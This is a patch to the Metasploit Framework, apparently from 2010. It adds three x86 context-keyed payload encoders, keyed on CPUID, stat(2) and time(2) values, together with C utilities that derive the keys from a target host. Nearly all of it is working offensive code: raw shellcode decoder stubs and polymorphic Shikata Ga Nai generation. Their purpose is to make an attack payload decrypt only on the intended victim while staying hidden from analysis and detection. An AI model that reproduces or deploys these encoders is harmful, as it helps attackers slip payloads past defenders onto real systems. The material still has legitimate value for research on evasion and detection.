diff -urN msf-orig/modules/encoders/x86/context_cpuid.rb msf/modules/encoders/x86/context_cpuid.rb --- msf-orig/modules/encoders/x86/context_cpuid.rb 1970-01-01 02:00:00.000000000 +0200 +++ msf/modules/encoders/x86/context_cpuid.rb 2010-06-05 00:02:24.000000000 +0300 @@ -0,0 +1,201 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'rex/poly' +require 'msf/core' + +class Metasploit3 < Msf::Encoder::XorAdditiveFeedback + + # Manual ranking because the cpuid value is generated and supplied + # manually... + + Rank = ManualRanking + + def initialize + super( + 'Name' => 'CPUID-based Context Keyed Payload Encoder', + 'Version' => '$Revision: 1$', + 'Description' => %q{ + This is a Context-Keyed Payload Encoder based on CPUID and Shikata Ga Nai. + }, + 'Author' => 'Dimitris Glynos', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => + { + 'KeySize' => 4, + 'BlockSize' => 4 + }) + + register_options( + [ + OptString.new('CPUID_KEY', + [ true, + "CPUID key from target host (see tools/context/cpuid-key utility)", + "0x00000000"]), + ], self.class) + end + + def obtain_key(buf, badchars, state) + state.key = datastore['CPUID_KEY'].hex + return state.key + end + + # + # Generates the shikata decoder stub. + # + def decoder_stub(state) + # If the decoder stub has not already been generated for this state, do + # it now. The decoder stub method may be called more than once. + if (state.decoder_stub == nil) + # Shikata will only cut off the last 1-4 bytes of it's own end + # depending on the alignment of the original buffer + cutoff = 4 - (state.buf.length & 3) + block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError) + + # Take the last 1-4 bytes of shikata and prepend them to the buffer + # that is going to be encoded to make it align on a 4-byte boundary. + state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf + + # Cache this decoder stub. The reason we cache the decoder stub is + # because we need to ensure that the same stub is returned every time + # for a given encoder state. + state.decoder_stub = block + end + + state.decoder_stub + end + +protected + def keygen_stub + payload = + "\x31\xf6" + # xor %esi,%esi + "\x31\xff" + # xor %edi,%edi + "\x89\xf8" + # cpuid_loop: mov %edi,%eax + "\x31\xc9" + # xor %ecx,%ecx + "\x0f\xa2" + # cpuid + "\x31\xc6" + # xor %eax,%esi + "\x39\xf0" + # cmp %esi,%eax + "\x75\x03" + # jne not_first_time + "\x8d\x78\x01" + # lea 0x1(%eax,1),%edi + "\x31\xde" + # not_first_time: xor %ebx,%esi + "\x31\xce" + # xor %ecx,%esi + "\x31\xd6" + # xor %edx,%esi + "\x83\xef\x01" + # sub $0x1,%edi + "\x75\xe6" + # jne cpuid_loop + "\x89\xf0" # mov %esi,%eax + end + # + # Returns the set of FPU instructions that can be used for the FPU block of + # the decoder stub. + # + def fpu_instructions + fpus = [] + + 0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr } + 0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr } + 0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr } + 0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr } + 0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr } + + fpus << "\xd9\xd0" + fpus << "\xd9\xe1" + fpus << "\xd9\xf6" + fpus << "\xd9\xf7" + fpus << "\xd9\xe5" + + # This FPU instruction seems to fail consistently on Linux + #fpus << "\xdb\xe1" + + fpus + end + + # + # Returns a polymorphic decoder stub that is capable of decoding a buffer + # of the supplied length and encodes the last cutoff bytes of itself. + # + def generate_shikata_block(state, length, cutoff) + # Declare logical registers + key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax') + count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx') + addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') + + # Declare individual blocks + endb = Rex::Poly::SymbolicBlock::End.new + + # FPU blocks + fpu = Rex::Poly::LogicalBlock.new('fpu', + *fpu_instructions) + fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', + "\xd9\x74\x24\xf4") + + # Get EIP off the stack + popeip = Rex::Poly::LogicalBlock.new('popeip', + Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr }) + + # Clear the counter register + clear_register = Rex::Poly::LogicalBlock.new('clear_register', + "\x31\xc9", + "\x29\xc9", + "\x33\xc9", + "\x2b\xc9") + + # Initialize the counter after zeroing it + init_counter = Rex::Poly::LogicalBlock.new('init_counter') + + # Divide the length by four but ensure that it aligns on a block size + # boundary (4 byte). + length += 4 + (4 - (length & 3)) & 3 + length /= 4 + + if (length <= 255) + init_counter.add_perm("\xb1" + [ length ].pack('C')) + else + init_counter.add_perm("\x66\xb9" + [ length ].pack('v')) + end + + # Key initialization block + + # Decoder loop block + loop_block = Rex::Poly::LogicalBlock.new('loop_block') + + xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" } + add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" } + + loop_block.add_perm( + Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, + Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, + Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, + Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, + Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, + Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) }) + + # Loop instruction block + loop_inst = Rex::Poly::LogicalBlock.new('loop_inst', + "\xe2\xf5") + + # Define block dependencies + fnstenv.depends_on(fpu) + popeip.depends_on(fnstenv) + init_counter.depends_on(clear_register) + loop_block.depends_on(popeip, init_counter) + loop_inst.depends_on(loop_block) + + # Generate a permutation saving the EAX, ECX and ESP registers + loop_inst.generate([ + Rex::Arch::X86::EAX, + Rex::Arch::X86::ESP, + Rex::Arch::X86::ECX ], nil, state.badchars) + end + +end diff -urN msf-orig/modules/encoders/x86/context_stat.rb msf/modules/encoders/x86/context_stat.rb --- msf-orig/modules/encoders/x86/context_stat.rb 1970-01-01 02:00:00.000000000 +0200 +++ msf/modules/encoders/x86/context_stat.rb 2010-06-05 00:02:55.000000000 +0300 @@ -0,0 +1,206 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'rex/poly' +require 'msf/core' + +class Metasploit3 < Msf::Encoder::XorAdditiveFeedback + + # Manual ranking because the stat(2) key is generated and supplied + # manually. + + Rank = ManualRanking + + def initialize + super( + 'Name' => 'stat(2)-based Context Keyed Payload Encoder', + 'Version' => '$Revision: 1 $', + 'Description' => %q{ + This is a Context-Keyed Payload Encoder based on stat(2) + and Shikata Ga Nai. + }, + 'Author' => 'Dimitris Glynos', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => + { + 'KeySize' => 4, + 'BlockSize' => 4 + }) + + register_options( + [ + OptString.new('STAT_KEY', + [ true, + "STAT key from target host (see tools/context/stat-key utility)", + "0x00000000"]), + OptString.new('STAT_FILE', [ true, "name of file to stat(2)", "/bin/ls"]), + ], self.class) + end + + def obtain_key(buf, badchars, state) + state.key = datastore['STAT_KEY'].hex + return state.key + end + + # + # Generates the shikata decoder stub. + # + def decoder_stub(state) + # If the decoder stub has not already been generated for this state, do + # it now. The decoder stub method may be called more than once. + if (state.decoder_stub == nil) + # Shikata will only cut off the last 1-4 bytes of it's own end + # depending on the alignment of the original buffer + cutoff = 4 - (state.buf.length & 3) + block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError) + + # Take the last 1-4 bytes of shikata and prepend them to the buffer + # that is going to be encoded to make it align on a 4-byte boundary. + state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf + + # Cache this decoder stub. The reason we cache the decoder stub is + # because we need to ensure that the same stub is returned every time + # for a given encoder state. + state.decoder_stub = block + end + + state.decoder_stub + end + +protected + def keygen_stub + fname = datastore['STAT_FILE'] + flen = fname.length + + payload = + "\xd9\xee" + # fldz + "\xd9\x74\x24\xf4" + # fnstenv -0xc(%esp) + "\x5b" + # pop %ebx + Rex::Arch::X86.jmp_short(flen) + # jmp over + fname + # the filename + "\x83\xc3\x09" + # over: add $9, %ebx + "\x8d\x53" + # lea filelen(%ebx), %edx + Rex::Arch::X86.pack_lsb(flen) + # + "\x31\xc0" + # xor %eax,%eax + "\x88\x02" + # mov %al,(%edx) + "\x8d\x4c\x24\xa8" + # lea -0x58(%esp),%ecx + "\xb0\xc3" + # mov $0xc3, %al + "\xcd\x80" + # int $0x80 + "\x8b\x41\x2c" + # mov 0x2c(%ecx),%eax + "\x33\x41\x48" # xor 0x48(%ecx),%eax + end + # + # Returns the set of FPU instructions that can be used for the FPU block of + # the decoder stub. + # + def fpu_instructions + fpus = [] + + 0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr } + 0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr } + 0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr } + 0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr } + 0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr } + + fpus << "\xd9\xd0" + fpus << "\xd9\xe1" + fpus << "\xd9\xf6" + fpus << "\xd9\xf7" + fpus << "\xd9\xe5" + + # This FPU instruction seems to fail consistently on Linux + #fpus << "\xdb\xe1" + + fpus + end + + # + # Returns a polymorphic decoder stub that is capable of decoding a buffer + # of the supplied length and encodes the last cutoff bytes of itself. + # + def generate_shikata_block(state, length, cutoff) + # Declare logical registers + key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax') + count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx') + addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') + + # Declare individual blocks + endb = Rex::Poly::SymbolicBlock::End.new + + # FPU blocks + fpu = Rex::Poly::LogicalBlock.new('fpu', + *fpu_instructions) + fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', + "\xd9\x74\x24\xf4") + + # Get EIP off the stack + popeip = Rex::Poly::LogicalBlock.new('popeip', + Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr }) + + # Clear the counter register + clear_register = Rex::Poly::LogicalBlock.new('clear_register', + "\x31\xc9", + "\x29\xc9", + "\x33\xc9", + "\x2b\xc9") + + # Initialize the counter after zeroing it + init_counter = Rex::Poly::LogicalBlock.new('init_counter') + + # Divide the length by four but ensure that it aligns on a block size + # boundary (4 byte). + length += 4 + (4 - (length & 3)) & 3 + length /= 4 + + if (length <= 255) + init_counter.add_perm("\xb1" + [ length ].pack('C')) + else + init_counter.add_perm("\x66\xb9" + [ length ].pack('v')) + end + + # Key initialization block + + # Decoder loop block + loop_block = Rex::Poly::LogicalBlock.new('loop_block') + + xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" } + add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" } + + loop_block.add_perm( + Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, + Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, + Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, + Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, + Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, + Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) }) + + # Loop instruction block + loop_inst = Rex::Poly::LogicalBlock.new('loop_inst', + "\xe2\xf5") + + # Define block dependencies + fnstenv.depends_on(fpu) + popeip.depends_on(fnstenv) + init_counter.depends_on(clear_register) + loop_block.depends_on(popeip, init_counter) + loop_inst.depends_on(loop_block) + + # Generate a permutation saving the EAX, ECX and ESP registers + loop_inst.generate([ + Rex::Arch::X86::EAX, + Rex::Arch::X86::ESP, + Rex::Arch::X86::ECX ], nil, state.badchars) + end + +end diff -urN msf-orig/modules/encoders/x86/context_time.rb msf/modules/encoders/x86/context_time.rb --- msf-orig/modules/encoders/x86/context_time.rb 1970-01-01 02:00:00.000000000 +0200 +++ msf/modules/encoders/x86/context_time.rb 2010-06-05 00:03:45.000000000 +0300 @@ -0,0 +1,191 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'rex/poly' +require 'msf/core' + +class Metasploit3 < Msf::Encoder::XorAdditiveFeedback + + # Manual ranking because the time(2) key is generated and supplied + # manually. + + Rank = ManualRanking + + def initialize + super( + 'Name' => 'time(2)-based Context Keyed Payload Encoder', + 'Version' => '$Revision: 1$', + 'Description' => %q{ + This is a Context-Keyed Payload Encoder based on time(2) + and Shikata Ga Nai. + }, + 'Author' => 'Dimitris Glynos', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => + { + 'KeySize' => 4, + 'BlockSize' => 4 + }) + + register_options( + [ + OptString.new('TIME_KEY', + [ true, + "TIME key from target host (see tools/context/time-key utility)", + "0x00000000"]) + ], self.class) + end + + def obtain_key(buf, badchars, state) + state.key = datastore['TIME_KEY'].hex + return state.key + end + + # + # Generates the shikata decoder stub. + # + def decoder_stub(state) + # If the decoder stub has not already been generated for this state, do + # it now. The decoder stub method may be called more than once. + if (state.decoder_stub == nil) + # Shikata will only cut off the last 1-4 bytes of it's own end + # depending on the alignment of the original buffer + cutoff = 4 - (state.buf.length & 3) + block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError) + + # Take the last 1-4 bytes of shikata and prepend them to the buffer + # that is going to be encoded to make it align on a 4-byte boundary. + state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf + + # Cache this decoder stub. The reason we cache the decoder stub is + # because we need to ensure that the same stub is returned every time + # for a given encoder state. + state.decoder_stub = block + end + + state.decoder_stub + end + +protected + def keygen_stub + payload = + "\x31\xdb" + # xor %ebx,%ebx + "\x8d\x43\x0d" + # lea 0xd(%ebx),%eax + "\xcd\x80" + # int $0x80 + "\x66\x31\xc0" # xor %ax,%ax + end + # + # Returns the set of FPU instructions that can be used for the FPU block of + # the decoder stub. + # + def fpu_instructions + fpus = [] + + 0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr } + 0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr } + 0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr } + 0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr } + 0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr } + + fpus << "\xd9\xd0" + fpus << "\xd9\xe1" + fpus << "\xd9\xf6" + fpus << "\xd9\xf7" + fpus << "\xd9\xe5" + + # This FPU instruction seems to fail consistently on Linux + #fpus << "\xdb\xe1" + + fpus + end + + # + # Returns a polymorphic decoder stub that is capable of decoding a buffer + # of the supplied length and encodes the last cutoff bytes of itself. + # + def generate_shikata_block(state, length, cutoff) + # Declare logical registers + key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax') + count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx') + addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') + + # Declare individual blocks + endb = Rex::Poly::SymbolicBlock::End.new + + # FPU blocks + fpu = Rex::Poly::LogicalBlock.new('fpu', + *fpu_instructions) + fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', + "\xd9\x74\x24\xf4") + + # Get EIP off the stack + popeip = Rex::Poly::LogicalBlock.new('popeip', + Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr }) + + # Clear the counter register + clear_register = Rex::Poly::LogicalBlock.new('clear_register', + "\x31\xc9", + "\x29\xc9", + "\x33\xc9", + "\x2b\xc9") + + # Initialize the counter after zeroing it + init_counter = Rex::Poly::LogicalBlock.new('init_counter') + + # Divide the length by four but ensure that it aligns on a block size + # boundary (4 byte). + length += 4 + (4 - (length & 3)) & 3 + length /= 4 + + if (length <= 255) + init_counter.add_perm("\xb1" + [ length ].pack('C')) + else + init_counter.add_perm("\x66\xb9" + [ length ].pack('v')) + end + + # Key initialization block + + # Decoder loop block + loop_block = Rex::Poly::LogicalBlock.new('loop_block') + + xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } + add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } + add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } + sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" } + add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" } + + loop_block.add_perm( + Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, + Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, + Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, + Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, + Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, + Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) }) + + # Loop instruction block + loop_inst = Rex::Poly::LogicalBlock.new('loop_inst', + "\xe2\xf5") + + # Define block dependencies + fnstenv.depends_on(fpu) + popeip.depends_on(fnstenv) + init_counter.depends_on(clear_register) + loop_block.depends_on(popeip, init_counter) + loop_inst.depends_on(loop_block) + + # Generate a permutation saving the EAX, ECX and ESP registers + loop_inst.generate([ + Rex::Arch::X86::EAX, + Rex::Arch::X86::ESP, + Rex::Arch::X86::ECX ], nil, state.badchars) + end + +end diff -urN msf-orig/tools/context/Makefile msf/tools/context/Makefile --- msf-orig/tools/context/Makefile 1970-01-01 02:00:00.000000000 +0200 +++ msf/tools/context/Makefile 2010-06-04 23:57:47.000000000 +0300 @@ -0,0 +1,11 @@ +# Minimalistic Makefile for key generators used in +# context-keyed payload encoding. +# +# Author: Dimitris Glynos + +KEYGENS=cpuid-key time-key stat-key + +default: $(KEYGENS) + +clean: + rm -f $(KEYGENS) diff -urN msf-orig/tools/context/cpuid-key.c msf/tools/context/cpuid-key.c --- msf-orig/tools/context/cpuid-key.c 1970-01-01 02:00:00.000000000 +0200 +++ msf/tools/context/cpuid-key.c 2010-06-04 23:58:23.000000000 +0300 @@ -0,0 +1,38 @@ +/* + * outputs a cpuid key for use in context keyed payload encoding. + * + * Author: Dimitris Glynos + */ + + +#include + +int main() +{ + unsigned long eax; + + asm ( + "xorl %%esi, %%esi;" /* esi is key store, zero it out */ + "xorl %%edi, %%edi;" /* edi is loop iterator, ditto */ + "cpuid_loop: movl %%edi, %%eax;" /* iterator is first arg + to cpuid */ + "xorl %%ecx, %%ecx;" /* ecx is also used as arg to cpuid but + we'll use it always as zero */ + "cpuid;" + "xorl %%eax, %%esi;" + "cmpl %%esi, %%eax;" /* first time round esi = eax */ + /* not very safe heh? */ + "jne not_first_time;" + "leal 0x1(%%eax, 1), %%edi;" /* first time round ... */ + "not_first_time: xorl %%ebx, %%esi;" + "xorl %%ecx, %%esi;" + "xorl %%edx, %%esi;" + "subl $1, %%edi;" + "jne cpuid_loop;" + "movl %%esi, %%eax;" + : "=a" (eax) + ); + + printf("%#.8lx\n", eax); + return 0; +} diff -urN msf-orig/tools/context/stat-key.c msf/tools/context/stat-key.c --- msf-orig/tools/context/stat-key.c 1970-01-01 02:00:00.000000000 +0200 +++ msf/tools/context/stat-key.c 2010-06-04 23:58:28.000000000 +0300 @@ -0,0 +1,34 @@ +/* + * Given a filename, outputs a 32bit key for use in + * context keyed payload encoding. The key is derived from + * XOR-ing the st_size and st_mtime fields of the + * relevant struct stat for this file. + * + * Author: Dimitris Glynos + */ + +#include +#include +#include +#include + +int main(int argc, char *argv[]) +{ + char *filename; + struct stat stat_buf; + + if (argc != 2) { + fprintf(stderr, "usage: %s \n", argv[0]); + return 1; + } + + filename = argv[1]; + + if (stat(filename, &stat_buf) == -1) { + perror("error while stat(2)-ing file"); + return 1; + } + + printf("%#.8lx\n", stat_buf.st_mtime ^ stat_buf.st_size); + return 0; +} diff -urN msf-orig/tools/context/time-key.c msf/tools/context/time-key.c --- msf-orig/tools/context/time-key.c 1970-01-01 02:00:00.000000000 +0200 +++ msf/tools/context/time-key.c 2010-06-04 23:58:39.000000000 +0300 @@ -0,0 +1,55 @@ +/* + * Outputs the value of time(2) with the 16 least significant bits zeroed out. + * For use in context keyed payload encoding. + * + * Author: Dimitris Glynos + */ + +#include +#include +#define __USE_XOPEN +#include + +char *app = NULL; + +void croak_usage(void) +{ + fprintf(stderr, "usage: %s [date & time]\n" + "\tSupported date & time format: 'YYYY-MM-DD HH:MM:SS'\n" + "\te.g. %s '2003-11-04 14:23:10'\n", + app, app); + exit(1); +} + +time_t parse_time(const char *input) +{ + struct tm t; + char *p; + + p = strptime(input, "%Y-%m-%d %H:%M:%S", &t); + + if ((!p) || (*p != '\0')) { + fprintf(stderr, "error while processing time spec!\n"); + croak_usage(); + } + + return mktime(&t); +} + +int main(int argc, char *argv[]) +{ + time_t t; + + app = argv[0]; + + if (argc > 2) + croak_usage(); + + if (argc == 2) + t = parse_time(argv[1]); + else + t = time(NULL); + + printf("%#.8lx\n", t & 0xffff0000); + return 0; +}